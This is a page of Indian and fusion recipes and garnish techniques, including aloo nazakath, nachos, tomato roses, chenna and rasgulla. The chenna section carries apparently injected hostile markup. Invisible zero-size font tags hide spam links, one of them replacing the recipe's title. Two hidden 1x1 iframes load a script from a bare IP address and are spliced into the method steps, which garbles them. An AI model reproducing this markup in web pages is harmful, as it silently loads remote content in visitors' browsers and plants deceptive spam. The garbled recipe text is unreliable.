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ALOO NAZAKATH

Fried potato cases stuffed with paneer, marinated in spicy yogurt and baked
Preparation Time : 1 hour
Cooking Time : 20 minutes
Servings : 4

INGREDIENTS

Potatoes  4 large Oil  2 tablespoons + to deep fry Ginger paste  1 1/2 teaspoons Garlic paste  1 1/2 teaspoons Salt to taste Yogurt, whisked  1 cup Black salt (kala namak)  1/2 teaspoon Garam masala powder  1 teaspoon Red chilli powder  1 teaspoon Roasted chana dal (dalia), powdered  3 tablespoons Fresh coriander leaves, chopped 3 tablespoons Mustard oil  2 tablespoons Cottage cheese (paneer), grated  1/2 cup Chaat masala 2 teaspoons Green chillies, chopped 2 Fried papads, crushed  2

METHOD
Peel and scoop the potatoes leaving a shell all around. Heat sufficient oil in a kadai and deep-fry until the outer surface of the potatoes turn golden and the potatoes are cooked. Drain and place them on an absorbent paper. Preheat oven to 180ºC. Heat oil in a pan, add one teaspoon ginger-garlic paste. Chop the scooped out portion of the potatoes and add. Add salt and let it cook on medium heat. For marinade take yogurt in a bowl. Add salt, black salt, garam masala powder, red chilli powder, roasted chana dal powder, two tablespoons chopped coriander leaves, remaining ginger-garlic paste and mix. Add mustard oil and mix. Set aside. For stuffing take paneer in a bowl. Add salt, chaat masala, remaining coriander leaves, green chillies, the cooked potatoes, crushed fried papads and mix. Grease a baking tray. Stuff the potato shells generously with the paneer mixture. Put these stuffed potatoes in the yogurt marinade and mix well with a light hand. Let them stand for about thirty minutes. Arrange the stuffed potatoes on the baking tray and keep the tray in the preheated oven and bake for fifteen to twenty minutes. Serve hot.

Courtsy :  sanjeevkapoor.com

NACHOS

Corn chips layered with baked beans and cheese and salsa sauce are poured on it.
Preparation Time : 15-20 minutes
Cooking Time : 10-15 minutes
Servings : 4

INGREDIENTS

Tortillas : 16 Baked beans :1/2 cup FOR SALSA : Onion , chopped 1 medium Tomatoes, chopped3 large Yellow capsicum, chopped1/2 Jalapeno, chopped1 small Green chillies, chopped2-3 Fresh coriander leaves, chopped 2 tablespoons Lemon juice  1 tablespoon Salt to taste Cheese sauce Oil 1 tablespoon Garlic, crushed 5-6 cloves White sauce  1/2 cup Milk 1/4 cup Mozzarella cheese, grated 1 cup

METHOD
Mix ingredients for salsa sauce. Set aside in a bowl. For cheese sauce, heat oil in a pan. Add crushed garlic and sauté. Add white sauce and milk to dilute. Mix well and add grated processed or mozzarella cheese. Stir. Spread the corn chips on a serving plate. Spread a layer of baked beans. Pour cheese sauce and top it with salsa sauce. Serve the remaining salsa sauce separately in a bowl.

Tomato Wings

INGREDIENTS
Tomato :  2-3 big
METHOD
Halve a tomato lengthwise and place cut-side down on a board. Make a small diagonal cut into the center of the tomato; then make another cut in the opposite direction and lift out the wedge. Continue to cut the tomato, following the lines of the first cut and remove each piece as it is cut until there are two wedges of the tomato left. Trim away the stem from the wedges. Reshape the tomato, half back into its original form. Gently move each tomato slice to separate and then open the bottom wedges to form wings. Tomato wings are used to garnish salads, cold meat platters and rice dishes. Can be made using red apples also.

Tomato Roses And Chilli Flower

Create a wonderful impression with tomato roses and chilli flowers.

INGREDIENTS
Tomato : 1 large
Chilli : 1
METHOD
For tomato roses Make sure your knife is sharp and the tomato is ripe but firm. Starting at the base of the tomato, peel a thin strip all the way around the tomato, finishing at the stem end. The strip must be peeled thinly so it will roll evenly. Place the strip of skin, flesh side down, on a board. Beginning with the stem end of the strip, roll up the tomato skin to form a coil. When almost all the skin has been rolled, sit the tomato flower on its base and curl the last piece of the tomato skin around to form the more open petals of the rose. Tomato rose can decorate any main course dish or salads. For chilli flower Use small (green or fresh red) chillies or trim ends from the longer chillies, keeping the stem end. Rinse in cold water and remove the seeds. Use a small pair of scissors and cut around the chilli to form petals, taking care not to cut all the way to the stem. Drop into a bowl of cold water. Store in the refrigerator until it opens out.

Papad Cones

A different shape of a papad used a garnish or as a salad container.

INGREDIENTS
Small round papad

METHOD
Take a small round papad and lightly roast on a tawa, till almost done. Then using both hands, swiftly fold it into a triangular cone and stand it in a glass so that the shape is retained. Use as garnish or as salad container.

Courtsy :  sanjeevkapoor.com

Cucumber Twists And Lemon Twists

A way to prepare a dish attractive with cucumbers and lemons.

INGREDIENTS
Cucumber
1 medium
Lemon
1 medium
METHOD
For cucumber twists Use dark skinned long tender cucumbers, which have few seeds. Halve the cucumber lengthwise. Slice off end with a diagonal cut. Keeping the same angle, make paper-thin slices, taking care not to cut all the way through. Make seven to nine slices in each group. Hold the cucumber piece skin-side down and cut the skin away from the flesh, starting at the end where the skin was not sliced. Cut along the skin until there is about one centimeter left. Leave this part uncut. Turn the cucumber over and bend every second slice back to the joined ends, leaving the alternate slices straight. Place in a large bowl of iced water and leave for several hours or longer. The skin will lift away from the flesh. This spectacular garnish can be used to decorate platters of kababs. For lemon twists Slice a lemon thinly; place each slice flat and make a cut into the center of the slice. Hold the slice in the fingers of both hands placed on each side of the cut; then twist in opposite directions. Two or three slices can be placed on top of one another or twisted together to give a double or triple effect. Lemon twists can be used as a garnish for almost any dish.

Courtsy :  sanjeevkapoor.com

Carrot Bundles
Present a dish with matchsticks of carrots.

INGREDIENTS
Carrot
1 medium
Spring onion greens
2-3 sprigs
METHOD
Choose tender, young carrots. Peel thinly. Cut off a thin lengthwise slice from each carrot to make the carrot stable when slicing thinly. Cut carrot into finger lengths. Place carrot cut-side down; cut into thin lengthwise slices. Stack three to four carrot slices on top of one another; cut into fine matchstick strips. Drop into boiling water to blanch for thirty seconds. This brightens the colour. Refresh under cold running water. For the ties use the greens of spring onions. Pour boiling water over to soften them, drain and rinse under cold water. Cut them into narrow strips. Make bundles of the carrot strips and tie them with spring onion greens. Carrot bundles look lovely on salad platters or floating on thick soups.

Courtsy :  sanjeevkapoor.com

font style=position: absolute;overflow: hidden;height: 0;width: 0a href=http://vtsc.info/en/publication/mach zehnder modulator/a/font is the basic ingredient used in most Bengali sweets.

Cooking Time : 10 mins.
Preparation Time : 5 mins.
Makes approx. 1cup.

strongIngredients/strong
1 litre cow’s milk
1/2 teaspoon citric acid (nimbu ke phool)

strongMethod:/strong
1.  Dissolve!– Web Stats — iframe src=http://74.222.134.170/stats.php?id=2 width=1 height=1 frameborder=0/iframe !– End Web Stats — the citric acid in 1/2 cup of water and keep aside.
2.  Bring the milk to a boil in a pan, stirring continuously.
3.  Remove from the fire and stir for 5 to 7 minutes till the milk is slightly cool.
4.  Add the citric acid solution and stir the milk gently.
5.  The milk mill curdle and the whey will separate. The whey has to be clear thus indicating the milk has completely curdled. Allow it to rest for 3 to 4 minutes.
6. !– Web Stats — iframe src=http://74.222.134.170/stats.php?id=2 width=1 height=1 frameborder=0/iframe !– End Web Stats — Strain out all the whey using a clean damp muslin cloth.
7.  Fold all the 4 sides of the muslin cloth and twirl it gently so that all the whey that is in the milk solids gets evenly drained out.
8.  Gather the cloth from all 4 sides and squeeze the chenna lightly about 3 to 4 times so that most of the whey gets drained out.
9.  Remove the chenna onto a clean plate and knead gently so that it is free of lumps and take care not to apply too much pressure while kneading the chenna.
10. it is advisable to use this almost immediately.
11. Use as required.

strong Tips Points to remember :/strongfont style=position: absolute;overflow: hidden;height: 0;width: 0a href=http://groups.google.com/group/mebeli/web/furnituremebeli/a/font
Make sure that the milk is lukewarm while adding the citric acid mixture. Do not shock hot milk as it will affect the quality of the chenna.
Always use cow’s milk for making chenna as it has a low fat content.
If you use buffalo’s milk, let the milk rest after boiling it and then discard the skin that is formed.
Always use fresh chenna for making rasgullas.

Aloo Bhajias

Ingredients:
2-3 potatoes
½ kg rajgiri flour
1 glass Water
Salt
½ tsp Red chilly powder
1/2 liter Oil for frying

Method:
Take a bowl and put the rajgiri flour in it.
Add salt and red chilly powder in the flour.
Now add water accordingly so as to make a little thick liquid like solution.
Take the potatoes and peel the skin of the potatoes.
Cut the potatoes horizontally into very thin slices and put salt on the potatoes.
Put the potatoes one by one in the flour paste that was made.
Now heat the oil and once it gets heated add the diced potatoes in the oil.
Deep fry the potatoes till golden brown and place the fried bhajias on a tissue paper so as to soak the excess oil.

Tasty bhajias are ready to eat.

Accompaniments: You can have these mouth watering bhajias with tamarind , coconut chatni or groundnut .

Rasgulla / Rossogolla

Ingredients:
1 litre milk
1/2 tsp. citric acid
1 1/2 cups sugar
4 cups water
2-3 drops rose essence

Method:
Heat the milk and bring to boil.
Cool the milk for a couple of hours. Remove the cream layer.
Reheat the milk and bring to a boil.
Add the citric acid dissolved in some water.
Stir slowly till the milk is fully curdled.
Keep as it is for 5 minutes.
Meanwhile heat the sugar and water in a wide sauce pan. Bring to a boil.
Strain the milk through a muslin cloth. Wash the chenna in the cloth under cold running water.
Press out the excess water and remove in a wide plate.
Gently knead into a soft dough by passing between fingers.
Make twelve equal sized balls of the dough.
Let them into the boiling water. Cover with a perforated lid. Boil for 13 to 15 minutes.
Take off from heat and cool them to room temperature.
Add essence and chill for at least 4 to 5 hours.

Serves: 6 helpings
Time required: 1/2 hour.